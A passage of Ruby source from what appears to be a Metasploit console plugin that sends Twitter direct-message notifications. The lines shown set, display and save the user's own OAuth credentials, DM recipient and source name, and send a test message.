165 | config.consumer_secret = @consumer_secret
166 | config.oauth_token = @oauth_token
167 | config.oauth_token_secret = @oauth_token_secret
168 | end
169 | send_direct("This is a test Message from your Metasploit console #{::Time.now}")
170 | return
171 | end
172 |
173 | # Save Parameters to text file
174 | def cmd_twitt_save
175 | print_status("Saving paramters to config file")
176 | if @consumer_key and @consumer_secret and @oauth_token and @oauth_token_secret and @user
177 | config = {'consumer_key' => @consumer_key, 'consumer_secret' => @consumer_secret,
178 | 'oauth_token' => @oauth_token, 'oauth_token_secret' => @oauth_token_secret,
179 | 'user' => @user, 'source' => @source
180 | }
181 | File.open(Twitter_yaml, 'w') do |out|
182 | YAML.dump(config, out)
183 | end
184 | print_good("All parameters saved to #{Twitter_yaml}")
185 | else
186 | print_error("You have not provided all the parameters!")
187 | end
188 | end
189 |
190 | # Get Consumer Key
191 | def cmd_twitt_set_consumer_key(*args)
192 | if args.length > 0
193 | print_status("Setting the Consumer Key to #{args[0]}")
194 | @consumer_key = args[0]
195 | else
196 | print_error("Please provide a value")
197 | end
198 | end
199 |
200 | # Get Consumer Secret
201 | def cmd_twitt_set_consumer_secret(*args)
202 | if args.length > 0
203 | print_status("Setting the Consumer Secret to #{args[0]}")
204 | @consumer_secret = args[0]
205 | else
206 | print_error("Please provide a value")
207 | end
208 | end
209 |
210 | # Get OATH Token
211 | def cmd_twitt_set_oauth_token(*args)
212 | if args.length > 0
213 | print_status("Setting the OAUTH Token to #{args[0]}")
214 | @oauth_token = args[0]
215 | else
216 | print_error("Please provide a value")
217 | end
218 | end
219 |
220 | # Get Oath Token Secret
221 | def cmd_twitt_set_oauth_token_secret(*args)
222 | if args.length > 0
223 | print_status("Setting the OAUTH Token Secret to #{args[0]}")
224 | @oauth_token_secret = args[0]
225 | else
226 | print_error("Please provide a value")
227 | end
228 | end
229 |
230 | # Get User to whom Direct Messages Will be Sent to
231 | def cmd_twitt_set_user(*args)
232 | if args.length > 0
233 | print_status("Setting the DM target user to #{args[0]}")
234 | @user = args[0]
235 | else
236 | print_error("Please provide a value")
237 | end
238 | end
239 |
240 | # Set Source Name to be included in the messages
241 | def cmd_twitt_set_source(*args)
242 | if args.length > 0
243 | print_status("Setting the source name to #{args[0]}")
244 | @source = args[0]
245 | else
246 | print_error("Please provide a value")
247 | end
248 | end
249 |
250 | # Show the parameters set on the Plug-In
251 | def cmd_twitt_show_parms
252 | print_status("Parameters:")
253 | print_good("consumer_key: #{@consumer_key}")
254 | print_good("consumer_secret: #{@consumer_secret}")
255 | print_good("oauth_token: #{@oauth_token}")
256 | print_good("oauth_token_secret: #{@oauth_token_secret}")
257 | print_good("user: #{@user}")
258 | print_good("source: #{@source}")
259 | end
260 |
261 |
262 | end
263 |
264 | end
265 | end
266 |
267 |
--------------------------------------------------------------------------------